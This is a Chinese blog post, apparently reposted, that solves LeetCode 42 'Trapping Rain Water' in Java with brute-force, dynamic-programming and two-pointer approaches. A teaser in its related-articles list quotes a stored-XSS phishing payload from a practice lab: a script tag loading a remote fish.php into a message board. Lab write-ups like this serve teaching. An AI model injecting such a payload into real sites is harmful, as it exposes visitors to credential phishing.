LeetCode算法题:42. 接雨水(Java)

news2024/11/18 5:46:17

题目描述

给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水。

示例 1:

img

输入:height = [0,1,0,2,1,0,1,3,2,1,2,1]
输出:6
解释:上面是由数组 [0,1,0,2,1,0,1,3,2,1,2,1] 表示的高度图,在这种情况下,可以接 6 个单位的雨水(蓝色部分表示雨水)。 

示例 2:

输入:height = [4,2,0,3,2,5]
输出:9

提示:

  • n == height.length
  • 1 <= n <= 2 * 10^4
  • 0 <= height[i] <= 10^5

解题思路:

1.暴力解答:

每个位置处的积水取决于左右两边柱子的最低高度,分别从起始位置遍历到该位置得到左边的最高高度,然后从该位置遍历到末端,得到右边高度的最高值。因此计算每个位置处的积水量:等于该位置左右两边最高高度的最小值-该位置的高度。

代码:

class Solution {
    public static int trap(int[] height) {
        int sumVolume = 0;
        int i=0,len=height.length;
        for(;i<len;i++){
            int j=0,leftmax = i;
            while(j<i){
                if(height[j]>height[leftmax])leftmax = j;
                j++;
            }
            j=i+1;
            int rightmax = i;
            while(j<len){
                if(height[j]>height[rightmax])rightmax = j;
                j++;
            }
            sumVolume+=Math.min(height[leftmax],height[rightmax])-height[i];
        }
        return sumVolume;
    }
}

结果:
在这里插入图片描述

2.动态规划

上述暴力解法由于每次遍历i时都又遍历了一整遍数组,因此时间复杂度为O(n^2),导致运行时间超时。因此采用动态规划的思想,提前遍历数组,确定好每个位置处的左边最高值和右边最高值。然后再按上述计算积水量方法计算总的积水量即可。
代码:

class Solution {
    public static int trap(int[] height) {
        int sumVolume = 0;
        int i=0,len=height.length;
        int curMaxHeight = 0;
        int[] leftMaxheigt = new int[len]; // 存储每个位置左边最高值
        int[] rightMaxheigt = new int[len]; // 存储每个位置右边最高值
        for(;i<len;i++){// 从前往后遍历height数组获取每个位置左边最高值
            if(height[i]>curMaxHeight){
                curMaxHeight = height[i];
            }
            leftMaxheigt[i] = curMaxHeight;
        }
        curMaxHeight=0;
        for(i=len-1;i>=0;i--){// 从后往前遍历height数组获取每个位置右边最高值
            if(height[i]>curMaxHeight){
                curMaxHeight = height[i];
            }
            rightMaxheigt[i] = curMaxHeight;
        }
        for(i=0;i<len;i++){
            sumVolume+=Math.min(leftMaxheigt[i],rightMaxheigt[i])-height[i];
        }
        return sumVolume;
    }
}

结果:
在这里插入图片描述

3.双指针

在动态规划的基础上,不使用两个数组存储每个位置的左边最大高度和右边最大高度,而是一开始定义两个指针i,j,一开始分别指向数组第一个元素和数组最后一个元素,同时定义一个左边最高高度变量leftMax=0和一个右边最高高度变量rightMax=0。通过比较两个位置的高度,移动较矮的一方,当

class Solution {
    public static int trap(int[] height) {
        int i=0,j=height.length-1;
        int leftMax=0,rightMax=0;
        int sumVolume=0;
        while(i<j){
            if(height[i]<height[j]){
                if(height[i]<leftMax){
                    sumVolume += leftMax-height[i];
                }else{
                    leftMax=height[i];
                }
                i++;
            }else{
                if(height[j]<rightMax){
                    sumVolume += rightMax-height[j];
                }else{
                    rightMax=height[j];
                }
                j--;
            }
        }
        return sumVolume;
    }
}

结果:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1687741.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

c4d云渲染是工程文件会暴露吗?

在数字创意产业飞速发展的今天&#xff0c;C4D云渲染因其高效便捷而备受欢迎。然而&#xff0c;随着技术应用的深入&#xff0c;人们开始关注一个核心问题&#xff1a;在享受云渲染带来的便利的同时&#xff0c;C4D工程文件安全吗&#xff1f;是否会有暴露的风险&#xff1f;下…

企业微信主体机构如何修改?

企业微信变更主体有什么作用&#xff1f; 做过企业运营的小伙伴都知道&#xff0c;很多时候经常会遇到现有的企业需要注销&#xff0c;切换成新的企业进行经营的情况&#xff0c;但是原来企业申请的企业微信上面却积累了很多客户&#xff0c;肯定不能直接丢弃&#xff0c;所以这…

【安装笔记-20240523-Windows-安装测试 ShareX】

安装笔记-系列文章目录 安装笔记-20240523-Windows-安装测试 ShareX 文章目录 安装笔记-系列文章目录安装笔记-20240523-Windows-安装测试 ShareX 前言一、软件介绍名称&#xff1a;ShareX主页官方介绍 二、安装步骤测试版本&#xff1a;16.1.0下载链接功能界面 三、应用场景屏…

Jenkins安装 :AWS EC2 Linux

1 JDK11 install # 用的yum安装 # 压缩包安装&#xff0c;下载的jdk-11.0.22_linux-x64_bin.tar.gz在EC2解压&#xff0c;配置环境变量&#xff0c;运行jenkins的时候会报错$ yum -y list java-11* Available Packages java-11-amazon-corretto-devel.x86_64 …

STM32_HAL_RTC时钟

1. RTC 时钟简介 STM32F407 的实时时钟&#xff08;RTC&#xff09;是一个独立的定时器。 STM32 的 RTC 模块拥有一组连续计数的计数器&#xff0c;在相对应的软件配置下&#xff0c;可提供时钟日历的功能。修改计数器的值可以重新设置系统的当前时间和日期。 RTC 模块和时钟配…

antd-vue a-tree 当两个不同一级下二级key相同的时候就会导致两个同时选择, 拿到node.parent的数据也会出问题, 解决办法

一、问题如下图&#xff1a; 当两个不同一级下二级key相同的时候就会导致两个同时选择&#xff0c; 同时拿到node.parent的数据也会出问题, 出现一下问题的原因是因为数据treeData 的key出现相同的了 然后如下图、因为我的查询条件 第二层是给 cloud , 第二层是给 relatedPool…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

WPF中快速使用iconfont中的icon图标资源

在WPF开发中经常需要用到Icon图标&#xff0c;我们这用用的是Iconfont网站查找icon的资源&#xff0c;本文讲如何把iconfont图标资源当成字体文件导入到WPF程序中使用。 查找打包资源 1.在Iconfont官网查找资源 根据自己需要查找&#xff0c;资源然后添加到购物车 https://…

windows Oracle 11g服务器端和客户端安装 SQLark连接ORACLE

1 从ORACLE官网下载数据库安装包 https://edelivery.oracle.com/osdc/faces/SoftwareDelivery 2:安装数据库 注意&#xff1a;在加载组件的这一步&#xff0c;如果你的电脑里面有杀毒软件&#xff0c;首先把安装目录加入白名单&#xff0c;要不然可能会一直加载组件失败。…

netdiscover一键收集子网内的所有信息(KALI工具系列六)

目录 1、KALI LINUX简介 2、netdiscover工具简介 3、在KALI中使用netdiscover 3.1 目标主机IP&#xff08;win&#xff09; 3.2 KALI的IP 4、命令示例 4.1 扫描子网整个网段 4.2 指定网卡进行扫描 4.3 扫描网卡的公共网络 4.4 快速扫描网卡的公共lan地址 4.5 设置…

echart指定坐标markline

效果如图&#xff1a; 测试代码&#xff0c;可以直接黏贴到echart测试页面中 https://echarts.apache.org/examples/zh/editor.html?cline-simple option {xAxis: {type: value,data: [1, 2, 3, 4, 6, 8, 10]},yAxis: {type: value},series: [{data: [5, 5, 5, null, 6, 6…

UNI-APP设置屏幕保持常亮-不熄灭屏幕

前言 最近在实际开发过程中&#xff0c;我们会发现在自己使用的app当中会根据系统无操作熄灭屏幕对于一下需要长时间保持屏幕的业务就很不友好&#xff0c;uni-app也是提供了相应方法加上代码之后-注意app端没报错-不生效就是权限问题-需要设置相对应权限-打自定义包 代码实现…

Plesk中如何移除之前添加的域名

我这边想要移除我之前绑定到主机的域名&#xff0c;但是不知道如何在主机上面进行移除&#xff0c;由于我使用的Hostease的Windows虚拟主机产品默认带普通用户权限的Plesk面板&#xff0c;但是不知道如何在Plesk上操作移除域名&#xff0c;因为也是对于Hostease主机产品不是很了…

储油罐智控:ThingsBoard网关实现液位温度精准监测

储油罐是采油、炼油企业储存油品的重要设备&#xff0c;对储油罐液位、温度的实时数据监测对企业的库存和安全管理有着重大意义。 场景 对于企业&#xff0c;尤其是加油站来说&#xff0c;高效的罐体液位、温度监测对于优化燃油库存、防止短缺或过剩至关重要。不准确的燃油液位…

GS5812G 21V、2A同步降压DC/DC转换器芯片IC

一般描述 该GS5812G是一个同步降压DC/DC转换器与快速恒定的时间(FCOT)模式控制。该器件提供4. 5V至21V的输入电压范围和2A连续负载电流能力。它是恒定时间脉宽调制(PWM)控制器&#xff0c;支持 FCOT模式控制。工作频率取决于输入和输出电压条件。 该GS5812G故障…

拨云见日,ATFX七场研讨会揭秘投资先机

财经先机&#xff0c;一手掌握。近期&#xff0c;随着国际金价持续走高&#xff0c;避险情绪高涨&#xff0c;由此激发新一轮投资热潮。作为业界领先的金融创新品牌&#xff0c;ATFX深受投资者认可和信赖&#xff0c;为助力广大投资者了解市场运行规律&#xff0c;捕捉财经脉络…

基于STC12C5A60S2系列1T 8051单片机的TM1637键盘数码管模块的数码管显示与单片机连接的按键的按键值的功能

基于STC12C5A60S2系列1T 8051单片机的TM1638键盘数码管模块的数码管显示与单片机连接的按键的按键值应用 STC12C5A60S2系列1T 8051单片机管脚图STC12C5A60S2系列1T 8051单片机I/O口各种不同工作模式及配置STC12C5A60S2系列1T 8051单片机I/O口各种不同工作模式介绍TM1637键盘数码…

MyCat2之安装与配置文件介绍

安装 1.新建文件夹tools mkdir tools&#xff0c;并进入tools 2.下载MaCat wget http://dl.mycat.org.cn/2.0/install-template/mycat2-install-template-1.21.zip wget http://dl.mycat.org.cn/2.0/1.21-release/mycat2-1.21-release-jar-with-dependencies.jar 3.解压zip u…

【编译原理复习笔记】属性文法

属性文法 也称为属性翻译文法&#xff0c;由 Knuth 提出&#xff0c;以上下文无关文法为基础 &#xff08;1&#xff09;为每个文法符号&#xff08;终结符与非终结符&#xff09;配备相关的属性&#xff0c;代表与该文法符号相关的信息 &#xff08;2&#xff09;属性文法对于…

Sass是什么?有哪些优缺点?

目录 一、Sass是什么&#xff1f; 二、Sass的优缺点 三、Sass与SaaS 一、Sass是什么&#xff1f; Sass是世界上最成熟、最稳定、最强大的专业级CSS扩展语言。 Sass makes CSS fun again. Sass is an extension of CSS, adding nested rules, variables, mixins, selector in…